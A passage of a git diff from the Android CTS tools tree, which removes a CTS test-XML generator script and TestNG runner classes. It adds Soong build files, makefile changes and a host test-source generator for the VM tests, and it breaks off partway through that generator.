-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#     http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-#
-# Generate a CTS test XML file from a text file containing every single class#method per line
-#
-# For example, given an input file:
-#
-#          foo.txt:
-#                com.android.ClassName#methodNameA
-#                com.android.ClassName#methodNameB
-#
-# Will generate the output file:
-#
-#          TestPackage.xml:
-#                <TestPackage>
-#                  <TestSuite name="com">
-#                    <TestSuite name="android">
-#                      <TestCase name="ClassName">
-#                        <Test name="methodNameA" />
-#                        <Test name="methodNameB" />
-#                      </TestCase>
-#                    </TestSuite>
-#                  </TestSuite>
-#                </TestPackage>
-#
-
-import argparse
-import sys
-
-INDENTATION_INCREASE=2
-
-class BaseNode(object):
-    def __init__(self, name=None):
-        self._children = []
-        self._name = name
-        self._properties = []
-
-    def _get_children(self):
-        return self._children
-
-    def _set_children(self, value):
-        self._children = value
-
-    children = property(_get_children, _set_children, doc="Get/set list of children BaseNode")
-
-    def append_child(self, child):
-        self._children.append(child)
-
-    def has_children(self):
-        return not not self._children
-
-    def _get_name(self):
-        return self._name
-
-    def _set_name(self, value):
-        self._name = value
-
-    name = property(_get_name, _set_name, doc="Get/set the name property of the current XML node")
-
-    def _get_type_name(self):
-        return type(self).__name__
-
-    type_name = property(_get_type_name, doc="Get the name of the current XML node")
-
-    def _set_properties(self, value):
-        self._properties = value
-
-    def _get_properties(self):
-        return self._properties
-
-    properties = property(_get_properties, _set_properties, doc="Get/set additional XML properties such as appPackageName (as a dict)")
-
-    def write_xml(self, out, indent=0):
-        out.write(' ' * indent)
-        out.write('<' + self.type_name)
-
-        if self.name is not None:
-            out.write(' name="')
-            out.write(self.name)
-            out.write('"')
-
-        if self.properties:
-            for key, value in self.properties.iteritems():
-                out.write(' ' + key + '="' + value + '"')
-
-        if not self.has_children():
-            out.write(' />')
-            out.write('\n')
-            return
-
-        out.write('>\n')
-
-        #TODO: print all the properties
-
-        for child in self.children:
-            child.write_xml(out, indent + INDENTATION_INCREASE)
-
-        out.write(' ' * indent)
-        out.write('</' + self.type_name + '>')
-        out.write('\n')
-
-class _SuiteContainer(BaseNode):
-    def get_or_create_suite(self, package_list):
-        debug_print("get_or_create_suite, package_list = " + str(package_list))
-        debug_print("name = " + self.name)
-        # If we are empty, then we just reached the TestSuite which we actually wanted. Return.
-        if not package_list:
-            return self
-
-        current_package = package_list[0]
-        rest_of_packages = package_list[1:]
-
-        # If a suite already exists for the requested package, then have it look/create recursively.
-        for child in self.children:
-            if child.name == current_package:
-                return child.get_or_create_suite(rest_of_packages)
-
-        # No suite exists yet, create it recursively
-        new_suite = TestSuite(name=current_package)
-        self.append_child(new_suite)
-        return new_suite.get_or_create_suite(rest_of_packages)
-
-class TestPackage(_SuiteContainer):
-    def add_class_and_method(self, fq_class_name, method):
-        debug_print("add_class_and_method, fq_class_name=" + fq_class_name + ", method=" + method)
-        package_list = fq_class_name.split(".")[:-1] # a.b.c -> ['a', 'b']
-        just_class_name = fq_class_name.split(".")[-1] # a.b.c -> 'c'
-
-        test_suite = self.get_or_create_suite(package_list)
-
-        if test_suite == self:
-            raise Exception("The suite cannot be the package")
-
-        return test_suite.add_class_and_method(just_class_name, method)
-
-class TestSuite(_SuiteContainer):
-    def add_class_and_method(self, just_class_name, method_name):
-        test_case = self.get_or_create_test_case(just_class_name)
-        return test_case.add_method(method_name)
-
-    def get_or_create_test_case(self, just_class_name):
-        for child in self.children:
-            if child.name == just_class_name:
-                return child
-
-        new_test_case = TestCase(name=just_class_name)
-        self.append_child(new_test_case)
-        return new_test_case
-
-class TestCase(BaseNode):
-    def add_method(self, method_name):
-        tst = Test(name=method_name)
-        self.append_child(tst)
-        return tst
-
-class Test(BaseNode):
-    def __init__(self, name):
-        super(Test, self).__init__(name)
-        self._children = None
-
-def debug_print(x):
-    #print x
-    pass
-
-def build_xml_test_package(input, name, xml_properties):
-    root = TestPackage(name=name)
-
-    for line in input:
-        class_and_method_name = line.split('#')
-        fq_class_name = class_and_method_name[0].strip()
-        method_name = class_and_method_name[1].strip()
-
-        root.add_class_and_method(fq_class_name, method_name)
-
-    root.properties = xml_properties
-    return root
-
-def write_xml(out, test_package):
-    out.write('<?xml version="1.0" encoding="UTF-8"?>\n')
-    test_package.write_xml(out)
-
-def main():
-    parser = argparse.ArgumentParser(description='Process a test methods list file to generate CTS test xml.')
-
-    # Named required
-    parser.add_argument('--cts-name', help="name (e.g. CtsJdwp)", required=True)
-    parser.add_argument('--app-package-name', help="appPackageName (e.g. android.jdwp)", required=True)
-    parser.add_argument('--jar-path', help="jarPath (e.g. CtsJdwp.jar)", required=True)
-
-    # Named optionals
-    parser.add_argument('--test-type', help="testType (default testNGDeviceTest)",
-                        default="testNGDeviceTest")
-    parser.add_argument('--runtime-args', help="runtimeArgs (e.g. -XXlib:libart.so)")
-    parser.add_argument('--version', help="version (default 1.0)", default="1.0")
-
-    # Positional optionals
-    parser.add_argument('input-filename', nargs='?',
-                               help='name of the cts test file (stdin by default)')
-    parser.add_argument('output-filename', nargs='?',
-                               help='name of the cts output file (stdout by default)')
-
-    # Map named arguments into the xml <TestPackage> property key name
-    argv_to_xml = {
-            'app_package_name' : 'appPackageName',
-            'jar_path' : 'jarPath',
-            'test_type' : 'testType',
-            'runtime_args' : 'runtimeArgs',
-            'version' : 'version'
-    }
-
-    args = parser.parse_args()
-    argv = vars(args) # convert Namespace to Dict
-
-    xml_properties = {}
-    for key, value in argv_to_xml.iteritems():
-        if argv.get(key):
-            xml_properties[value] = argv[key]
-
-    debug_print(argv['input-filename'])
-    debug_print(argv['output-filename'])
-
-    name_in = argv['input-filename']
-    name_out = argv['output-filename']
-
-    file_in = name_in and open(name_in, "r") or sys.stdin
-    file_out = name_out and open(name_out, "w+") or sys.stdout
-
-    # read all the input
-    test_package = build_xml_test_package(file_in, args.cts_name, xml_properties)
-    # write all the output
-    write_xml(file_out, test_package)
-
-if __name__ == "__main__":
-    main()
diff --git a/tools/testng/src/com/android/cts/testng/SingleTestNGTestRunListener.java b/tools/testng/src/com/android/cts/testng/SingleTestNGTestRunListener.java
deleted file mode 100644
index 2509366..0000000
--- a/tools/testng/src/com/android/cts/testng/SingleTestNGTestRunListener.java
+++ /dev/null
@@ -1,95 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.cts.testng;
-
-import java.util.Arrays;
-
-public class SingleTestNGTestRunListener implements org.testng.ITestListener {
-    private static class Prefixes {
-        @SuppressWarnings("unused")
-        private static final String INFORMATIONAL_MARKER =  "[----------]";
-        private static final String START_TEST_MARKER =     "[ RUN      ]";
-        private static final String OK_TEST_MARKER =        "[       OK ]";
-        private static final String ERROR_TEST_RUN_MARKER = "[    ERROR ]";
-        private static final String SKIPPED_TEST_MARKER =   "[     SKIP ]";
-        private static final String TEST_RUN_MARKER =       "[==========]";
-    }
-
-    @Override
-    public void onFinish(org.testng.ITestContext context) {
-        System.out.println(String.format("%s", Prefixes.TEST_RUN_MARKER));
-    }
-
-    @Override
-    public void onStart(org.testng.ITestContext context) {
-        System.out.println(String.format("%s", Prefixes.INFORMATIONAL_MARKER));
-    }
-
-    @Override
-    public void onTestFailedButWithinSuccessPercentage(org.testng.ITestResult result) {
-        onTestFailure(result);
-    }
-
-    @Override
-    public void onTestFailure(org.testng.ITestResult result) {
-        // All failures are coalesced into one '[ FAILED ]' message at the end
-        // This is because a single test method can run multiple times with different parameters.
-        // Since we only test a single method, it's safe to combine all failures into one
-        // failure at the end.
-        //
-        // The big pass/fail is printed from SingleTestNGTestRunner, not from the listener.
-        System.out.println(String.format("%s %s ::: %s", Prefixes.ERROR_TEST_RUN_MARKER,
-              getId(result), stringify(result.getThrowable())));
-    }
-
-    @Override
-    public void onTestSkipped(org.testng.ITestResult result) {
-        System.out.println(String.format("%s %s", Prefixes.SKIPPED_TEST_MARKER,
-              getId(result)));
-    }
-
-    @Override
-    public void onTestStart(org.testng.ITestResult result) {
-        System.out.println(String.format("%s %s", Prefixes.START_TEST_MARKER,
-              getId(result)));
-    }
-
-    @Override
-    public void onTestSuccess(org.testng.ITestResult result) {
-        System.out.println(String.format("%s", Prefixes.OK_TEST_MARKER));
-    }
-
-    private String getId(org.testng.ITestResult test) {
-        // TestNG is quite complicated since tests can have arbitrary parameters.
-        // Use its code to stringify a result name instead of doing it ourselves.
-
-        org.testng.remote.strprotocol.TestResultMessage msg =
-                new org.testng.remote.strprotocol.TestResultMessage(
-                    null, /*suite name*/
-                    null, /*test name -- display the test method name instead */
-                    test);
-
-        String className = test.getTestClass().getName();
-        //String name = test.getMethod().getMethodName();
-        return String.format("%s#%s", className, msg.toDisplayString());
-
-    }
-
-    private String stringify(Throwable error) {
-        return Arrays.toString(error.getStackTrace()).replaceAll("\n", " ");
-    }
-}
diff --git a/tools/testng/src/com/android/cts/testng/SingleTestNGTestRunner.java b/tools/testng/src/com/android/cts/testng/SingleTestNGTestRunner.java
deleted file mode 100644
index c9f31af..0000000
--- a/tools/testng/src/com/android/cts/testng/SingleTestNGTestRunner.java
+++ /dev/null
@@ -1,88 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.cts.testng;
-
-import org.testng.TestNG;
-import org.testng.xml.XmlClass;
-import org.testng.xml.XmlInclude;
-import org.testng.xml.XmlSuite;
-import org.testng.xml.XmlTest;
-
-import java.util.ArrayList;
-import java.util.List;
-
-/**
- * Test runner to run a single TestNG test. It will output either [PASSED] or [FAILED] at the end.
- */
-public class SingleTestNGTestRunner {
-    private static String mUsage = "Usage: java -cp <classpath> SingleTestNGTestRunner" +
-            " class#testMethod";
-    private static final String PASSED_TEST_MARKER = "[ PASSED ]";
-    private static final String FAILED_TEST_MARKER = "[ FAILED ]";
-
-    public static void main(String... args) {
-        if (args.length != 1) {
-            throw new IllegalArgumentException(mUsage);
-        }
-        String[] classAndMethod = args[0].split("#");
-        if (classAndMethod.length != 2) {
-            throw new IllegalArgumentException(mUsage);
-        }
-
-        TestNG testng = createTestNG(classAndMethod[0], classAndMethod[1]);
-        testng.run();
-        String status = (!testng.hasFailure()) ? PASSED_TEST_MARKER : FAILED_TEST_MARKER;
-        System.out.println(String.format("%s %s.%s", status,
-                classAndMethod[0], classAndMethod[1]));
-    }
-
-    private static org.testng.TestNG createTestNG(String klass, String method) {
-        org.testng.TestNG testng = new org.testng.TestNG();
-        testng.setUseDefaultListeners(false);  // Don't create the testng-specific HTML/XML reports.
-        testng.addListener(new SingleTestNGTestRunListener());
-
-        /* Construct the following equivalent XML configuration:
-         *
-         * <!DOCTYPE suite SYSTEM "http://testng.org/testng-1.0.dtd" >
-         * <suite>
-         *   <test>
-         *     <classes>
-         *       <class name="$klass">
-         *         <include name="$method" />
-         *       </class>
-         *     </classes>
-         *   </test>
-         * </suite>
-         *
-         * This will ensure that only a single klass/method is being run by testng.
-         * (It can still be run multiple times due to @DataProvider, with different parameters
-         * each time)
-         */
-        List<XmlSuite> suites = new ArrayList<>();
-        XmlSuite the_suite = new XmlSuite();
-        XmlTest the_test = new XmlTest(the_suite);
-        XmlClass the_class = new XmlClass(klass);
-        XmlInclude the_include = new XmlInclude(method);
-
-        the_class.getIncludedMethods().add(the_include);
-        the_test.getXmlClasses().add(the_class);
-        suites.add(the_suite);
-        testng.setXmlSuites(suites);
-
-        return testng;
-    }
-}
diff --git a/tools/testng/test-script b/tools/testng/test-script
deleted file mode 100755
index 9bfdf82..0000000
--- a/tools/testng/test-script
+++ /dev/null
@@ -1,4 +0,0 @@
-#!/bin/bash
-
-adb push $ANDROID_PRODUCT_OUT/system/framework/cts-testng.jar /data/local/tmp
-adb shell "cd /data/local/tmp && dalvikvm -cp cts-testng.jar:ctslibcore/CtsLibcoreOjTestCases.apk com.android.cts.testng.SingleTestNGTestRunner org.openjdk.tests.java.util.stream.GroupByOpTest#testOps"
diff --git a/tools/utils/Android.bp b/tools/utils/Android.bp
new file mode 100644
index 0000000..406ad01
--- /dev/null
+++ b/tools/utils/Android.bp
@@ -0,0 +1,36 @@
+// Copyright (C) 2008 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+// descGen java library
+// ============================================================
+java_library_host {
+    name: "descGen",
+
+    srcs: [
+        "CollectAllTests.java",
+        "DescriptionGenerator.java",
+        "VogarUtils.java",
+    ],
+
+    use_tools_jar: true,
+
+    libs: [
+        "junit",
+        "tradefed",
+    ],
+    static_libs: [
+        "compatibility-host-util",
+        "vogarexpect",
+    ],
+}
diff --git a/tools/utils/Android.mk b/tools/utils/Android.mk
deleted file mode 100644
index 6b01e57..0000000
--- a/tools/utils/Android.mk
+++ /dev/null
@@ -1,30 +0,0 @@
-# Copyright (C) 2008 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-# descGen java library
-# ============================================================
-include $(CLEAR_VARS)
-
-LOCAL_MODULE := descGen
-
-LOCAL_SRC_FILES := CollectAllTests.java DescriptionGenerator.java VogarUtils.java
-
-LOCAL_CLASSPATH := $(HOST_JDK_TOOLS_JAR)
-
-LOCAL_JAVA_LIBRARIES := junit-host tradefed
-LOCAL_STATIC_JAVA_LIBRARIES := compatibility-host-util vogarexpectlib
-
-include $(BUILD_HOST_JAVA_LIBRARY)
diff --git a/tools/vm-tests-tf/Android.bp b/tools/vm-tests-tf/Android.bp
new file mode 100644
index 0000000..f48f9e6
--- /dev/null
+++ b/tools/vm-tests-tf/Android.bp
@@ -0,0 +1,112 @@
+// Copyright (C) 2018 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+java_library {
+    name: "cts-vmtests-dot",
+    libs: [ "junit" ],
+    srcs: [ "src/dot/**/*.java" ],
+    installable: false,
+    include_srcs: true,
+    host_supported: true,
+}
+
+java_binary_host {
+    name: "vmtests-buildutil",
+    static_libs: [ "cts-vmtests-dot", "junit" ],
+    srcs: [
+        "build/src/util/build/BuildCTSHostSources.java",
+        "build/src/util/build/BuildCTSMainsSources.java",
+        "build/src/util/build/BuildUtilBase.java",
+        "build/src/util/build/FileUtil.java",
+        "build/src/util/build/JUnitTestCollector.java",
+    ],
+    wrapper: "etc/vmtests-buildutil.sh",
+}
+
+java_genrule_host {
+    name: "vmtests_generated_host_test_sources",
+    tools: [
+        "vmtests-buildutil",
+        "soong_zip",
+    ],
+    cmd: "$(location vmtests-buildutil) util.build.BuildCTSHostSources $(genDir) " +
+         " && $(location soong_zip) -jar -o $(out) -C $(genDir) -D $(genDir)/dot",
+    out: ["vmtests.host.generated.srcjar"],
+}
+
+java_library_host {
+    name: "host-cts-vmtests",
+    libs: [
+        "junit",
+        "tradefed",
+    ],
+    srcs : [ ":vmtests_generated_host_test_sources" ],
+    installable: false,
+}
+
+java_genrule_host {
+    name: "vmtests-dfh-dex-generated",
+    tools: [
+        "cfassembler",
+        "soong_zip",
+    ],
+    tool_files: ["etc/vmtests-cfassembler.sh"],
+    srcs: ["src/dot/**/*.dfh"],
+    cmd: "$(location etc/vmtests-cfassembler.sh) $(location cfassembler) $(location soong_zip) $(genDir) $(out) $(in)",
+    out: ["vmtests_dfh_dex_generated.jar"],
+}
+
+java_genrule_host {
+    name: "vmtests-dasm-dex-generated",
+    tools: [
+        "dasm",
+        "soong_zip",
+    ],
+    tool_files: ["etc/vmtests-dasm.sh"],
+    srcs: [ "src/dot/**/*.d" ],
+    cmd: "$(location etc/vmtests-dasm.sh) $(location dasm) $(location soong_zip) $(genDir) $(out) $(in)",
+    out: ["vmtests_dasm_dex_generated.jar"],
+}
+
+java_genrule {
+    name: "vmtests_generated_mains_test_sources",
+    tools: [
+        "vmtests-buildutil",
+        "soong_zip",
+    ],
+    cmd: "mkdir $(genDir)/src"
+       + " && $(location vmtests-buildutil) util.build.BuildCTSMainsSources $(genDir)/src "
+       + " && $(location soong_zip) -jar -o $(out) -C $(genDir)/src -D $(genDir)/src",
+    out: ["vmtests.mains.generated.srcjar"],
+}
+
+java_library {
+    name: "vmtests-mains",
+    installable: true,
+    libs: [ "cts-vmtests-dot" ],
+    srcs: [":vmtests_generated_mains_test_sources"],
+}
+
+// TODO: Add vmtests-mains' dex jar to vmtests-generated-resources when
+//       it can be addressed.
+
+java_library_host {
+    name: "vmtests-generated-resources",
+    static_libs: [
+        "host-cts-vmtests",
+        "vmtests-dfh-dex-generated",
+        "vmtests-dasm-dex-generated",
+    ],
+    installable: false,
+}
diff --git a/tools/vm-tests-tf/Android.mk b/tools/vm-tests-tf/Android.mk
index ea4f09b..4086cde 100644
--- a/tools/vm-tests-tf/Android.mk
+++ b/tools/vm-tests-tf/Android.mk
@@ -19,7 +19,7 @@
 include $(CLEAR_VARS)
 
 # custom variables used to generate test description. do not touch!
-LOCAL_SRC_FILES := $(call all-java-files-under, src/dot)
+LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
 LOCAL_MODULE := cts-tf-dalvik-lib
 LOCAL_MODULE_CLASS := JAVA_LIBRARIES
@@ -37,13 +37,13 @@
 LOCAL_TEST_TYPE := vmHostTest
 LOCAL_JAR_PATH := android.core.vm-tests-tf.jar
 
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
+LOCAL_SRC_FILES := $(call all-java-files-under, src build/src)
 
 LOCAL_MODULE := cts-tf-dalvik-buildutil
 LOCAL_MODULE_CLASS := JAVA_LIBRARIES
 LOCAL_MODULE_TAGS := optional
 
-LOCAL_JAVA_LIBRARIES := dx dasm cfassembler junit-host jsr305lib d8
+LOCAL_JAVA_LIBRARIES := dx dasm junit jsr305 d8 smali
 
 LOCAL_CLASSPATH := $(HOST_JDK_TOOLS_JAR)
 
@@ -72,46 +72,44 @@
 vmteststf_dep_jars := \
     $(HOST_JDK_TOOLS_JAR) \
     $(cts-tf-dalvik-lib.jar) \
-    $(addprefix $(HOST_OUT_JAVA_LIBRARIES)/, cts-tf-dalvik-buildutil.jar dasm.jar dx.jar cfassembler.jar junit-host.jar d8.jar)
+    $(addprefix $(HOST_OUT_JAVA_LIBRARIES)/, cts-tf-dalvik-buildutil.jar dx.jar junit.jar d8.jar smali.jar) \
+    $(call intermediates-dir-for,JAVA_LIBRARIES,cts-vmtests-dot,HOST,COMMON)/classes.jar
+
+vmtests_generated_resources_jar := \
+    $(call intermediates-dir-for,JAVA_LIBRARIES,vmtests-generated-resources,HOST)/javalib.jar
+vmtests_mains_generated_jar := \
+    $(call intermediates-dir-for,JAVA_LIBRARIES,vmtests-mains,,COMMON)/javalib.jar
 
 $(LOCAL_BUILT_MODULE): PRIVATE_SRC_FOLDER := $(LOCAL_PATH)/src
 $(LOCAL_BUILT_MODULE): PRIVATE_INTERMEDIATES_CLASSES := $(call intermediates-dir-for,JAVA_LIBRARIES,cts-tf-dalvik-buildutil,HOST)/classes
 $(LOCAL_BUILT_MODULE): PRIVATE_INTERMEDIATES := $(intermediates)/tests
 $(LOCAL_BUILT_MODULE): PRIVATE_INTERMEDIATES_DEXCORE_JAR := $(intermediates)/tests/dot/junit/dexcore.jar
-$(LOCAL_BUILT_MODULE): PRIVATE_INTERMEDIATES_MAIN_FILES := $(intermediates)/main_files
-$(LOCAL_BUILT_MODULE): PRIVATE_INTERMEDIATES_HOSTJUNIT_FILES := $(intermediates)/hostjunit_files
 $(LOCAL_BUILT_MODULE): PRIVATE_CLASS_PATH := $(call normalize-path-list, $(vmteststf_dep_jars))
-oj_jar := $(call intermediates-dir-for,JAVA_LIBRARIES,core-oj,,COMMON)/classes.jar
-libart_jar := $(call intermediates-dir-for,JAVA_LIBRARIES,core-libart,,COMMON)/classes.jar
-$(LOCAL_BUILT_MODULE): PRIVATE_DALVIK_SUITE_CLASSPATH := $(oj_jar):$(libart_jar):$(cts-tf-dalvik-lib.jar):$(HOST_OUT_JAVA_LIBRARIES)/tradefed.jar:
-$(LOCAL_BUILT_MODULE) : $(vmteststf_dep_jars) $(HOST_OUT_JAVA_LIBRARIES)/tradefed.jar $(DX)
+$(LOCAL_BUILT_MODULE): PRIVATE_VMTESTS_GENERATED_RESOURCES := $(vmtests_generated_resources_jar)
+$(LOCAL_BUILT_MODULE): PRIVATE_VMTESTS_MAINS_GENERATED := $(vmtests_mains_generated_jar)
+$(LOCAL_BUILT_MODULE) : $(vmteststf_dep_jars) $(HOST_OUT_JAVA_LIBRARIES)/tradefed.jar $(DX) $(vmtests_generated_resources_jar) $(vmtests_mains_generated_jar)
 	$(hide) rm -rf $(dir $@) && mkdir -p $(dir $@)
-	$(hide) mkdir -p $(PRIVATE_INTERMEDIATES_HOSTJUNIT_FILES)/dot/junit $(dir $(PRIVATE_INTERMEDIATES_DEXCORE_JAR))
+	$(hide) mkdir -p $(dir $(PRIVATE_INTERMEDIATES_DEXCORE_JAR))
 	# generated and compile the host side junit tests
-	@echo "Write generated Main_*.java files to $(PRIVATE_INTERMEDIATES_MAIN_FILES)"
+	@echo "Write generated Main_*.java"
 	$(hide) $(JAVA) \
 	    -cp $(PRIVATE_CLASS_PATH) util.build.BuildDalvikSuite $(PRIVATE_SRC_FOLDER) $(PRIVATE_INTERMEDIATES) \
-		$(PRIVATE_DALVIK_SUITE_CLASSPATH) \
-		$(PRIVATE_INTERMEDIATES_MAIN_FILES) $(PRIVATE_INTERMEDIATES_CLASSES) $(PRIVATE_INTERMEDIATES_HOSTJUNIT_FILES) $$RUN_VM_TESTS_RTO
+		$(PRIVATE_INTERMEDIATES_CLASSES)
 	@echo "Generate $(PRIVATE_INTERMEDIATES_DEXCORE_JAR)"
 	$(hide) $(JAR) -cf $(PRIVATE_INTERMEDIATES_DEXCORE_JAR)-class.jar \
 		$(addprefix -C $(PRIVATE_INTERMEDIATES_CLASSES) , dot/junit/DxUtil.class dot/junit/DxAbstractMain.class dot/junit/AssertionFailedException.class)
 	$(hide) mkdir -p $(PRIVATE_INTERMEDIATES_DEXCORE_JAR).tmp
-ifneq ($(USE_D8_DESUGAR),true)
-	$(hide) $(DX_COMMAND) --dex --output=$(PRIVATE_INTERMEDIATES_DEXCORE_JAR).tmp \
-		$(if $(NO_OPTIMIZE_DX), --no-optimize) $(PRIVATE_INTERMEDIATES_DEXCORE_JAR)-class.jar && rm -f $(PRIVATE_INTERMEDIATES_DEXCORE_JAR).jar
-else
 	$(hide) $(DX_COMMAND) --output $(PRIVATE_INTERMEDIATES_DEXCORE_JAR).tmp \
 		$(if $(NO_OPTIMIZE_DX), --debug) $(PRIVATE_INTERMEDIATES_DEXCORE_JAR)-class.jar && rm -f $(PRIVATE_INTERMEDIATES_DEXCORE_JAR).jar
-endif
 	$(hide) cd $(PRIVATE_INTERMEDIATES_DEXCORE_JAR).tmp && zip -q -r $(abspath $(PRIVATE_INTERMEDIATES_DEXCORE_JAR)) .
-	$(hide) cd $(PRIVATE_INTERMEDIATES_HOSTJUNIT_FILES)/classes && zip -q -r ../../$(notdir $@) .
+	$(hide) cp $(PRIVATE_VMTESTS_GENERATED_RESOURCES) $@
+	$(hide) cp $(PRIVATE_VMTESTS_MAINS_GENERATED) $(dir $@)/tests/mains.jar
 	$(hide) cd $(dir $@) && zip -q -r $(notdir $@) tests
-oj_jar :=
-libart_jar :=
 
 # Clean up temp vars
 intermediates :=
 vmteststf_dep_jars :=
+vmtests_generated_resources_jar :=
+vmtests_mains_generated_jar :=
 
 include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/tools/vm-tests-tf/AndroidTest.xml b/tools/vm-tests-tf/AndroidTest.xml
index fc0f8af..aaafbcf 100644
--- a/tools/vm-tests-tf/AndroidTest.xml
+++ b/tools/vm-tests-tf/AndroidTest.xml
@@ -16,7 +16,6 @@
 <configuration description="Config for CTS VM test cases">
     <option name="test-suite-tag" value="cts" />
     <option name="config-descriptor:metadata" key="component" value="art" />
-    <option name="not-strict-shardable" value= "true" />
     <target_preparer class="android.core.vm.targetprep.VmTestPreparer" />
     <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
         <option name="jar" value="android.core.vm-tests-tf.jar" />
diff --git a/tools/vm-tests-tf/TEST_MAPPING b/tools/vm-tests-tf/TEST_MAPPING
new file mode 100644
index 0000000..a566107
--- /dev/null
+++ b/tools/vm-tests-tf/TEST_MAPPING
@@ -0,0 +1,7 @@
+{
+  "presubmit": [
+    {
+      "name": "vm-tests-tf"
+    }
+  ]
+}
diff --git a/tools/vm-tests-tf/build/src/util/build/BuildCTSHostSources.java b/tools/vm-tests-tf/build/src/util/build/BuildCTSHostSources.java
new file mode 100644
index 0000000..bcdcd49
--- /dev/null
+++ b/tools/vm-tests-tf/build/src/util/build/BuildCTSHostSources.java
@@ -0,0 +1,239 @@
+/*
+ * Copyright (C) 2011 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package util.build;
+
+import java.io.File;
+import java.io.IOException;
+import java.util.Collection;
+import java.util.Collections;
+import java.util.Comparator;
+import java.util.List;
+
+/**
+ * Main class to generate data from the test suite to later run from a shell
+ * script. the project's home folder.<br>
+ * <project-home>/src must contain the java sources<br>
+ * <project-home>/src/<for-each-package>/Main_testN1.java will be generated<br>
+ * (one Main class for each test method in the Test_... class
+ */
+public class BuildCTSHostSources extends BuildUtilBase {
+
+    public static final String TARGET_MAIN_FILE = "mains.jar";
+
+    // the folder for the generated junit-files for the cts host (which in turn
+    // execute the real vm tests using adb push/shell etc)
+    private static String HOSTJUNIT_SRC_OUTPUT_FOLDER = "";
+
+    private static final String TARGET_JAR_ROOT_PATH = "/data/local/tmp/vm-tests";
+
+    /**
+     * @param args
+     *            args 0 must be the project root folder (where src, lib etc.
+     *            resides)
+     * @throws IOException
+     */
+    public static void main(String[] args) throws IOException {
+        BuildCTSHostSources cat = new BuildCTSHostSources();
+
+        if (!cat.parseArgs(args)) {
+          printUsage();
+          System.exit(-1);
+        }
+
+        long start = System.currentTimeMillis();
+        cat.run(cat::handleTest);
+        long end = System.currentTimeMillis();
+
+        System.out.println("elapsed seconds: " + (end - start) / 1000);
+    }
+
+    private boolean parseArgs(String[] args) {
+      if (args.length == 1) {
+          HOSTJUNIT_SRC_OUTPUT_FOLDER = args[0];
+          return true;
+      } else {
+          return false;
+      }
+    }
+
+    private static void printUsage() {
+        System.out.println("usage: java-src-folder output-folder classpath " +
+                           "generated-main-files compiled_output generated-main-files " +
+                           "[restrict-to-opcode]");
+    }
+
+    private static class HostState {
+        private String fileName;
+        private StringBuilder fileData;
+
+        public HostState(String fileName) {
+            this.fileName = fileName;
+            fileData = new StringBuilder();
+        }
+
+        public void append(String s) {
+            fileData.append(s);
+        }
+
+        private void addCTSHostMethod(String pName, String method,
+                Collection<String> dependentTestClassNames) {
+            fileData.append("public void " + method + "() throws Exception {\n");
+            final String targetCoreJarPath = String.format("%s/dot/junit/dexcore.jar",
+                    TARGET_JAR_ROOT_PATH);
+
+            String mainsJar = String.format("%s/%s", TARGET_JAR_ROOT_PATH, TARGET_MAIN_FILE);
+
+            String cp = String.format("%s:%s", targetCoreJarPath, mainsJar);
+            for (String depFqcn : dependentTestClassNames) {
+                String sourceName = depFqcn.replaceAll("\\.", "/") + ".jar";
+                String targetName= String.format("%s/%s", TARGET_JAR_ROOT_PATH,
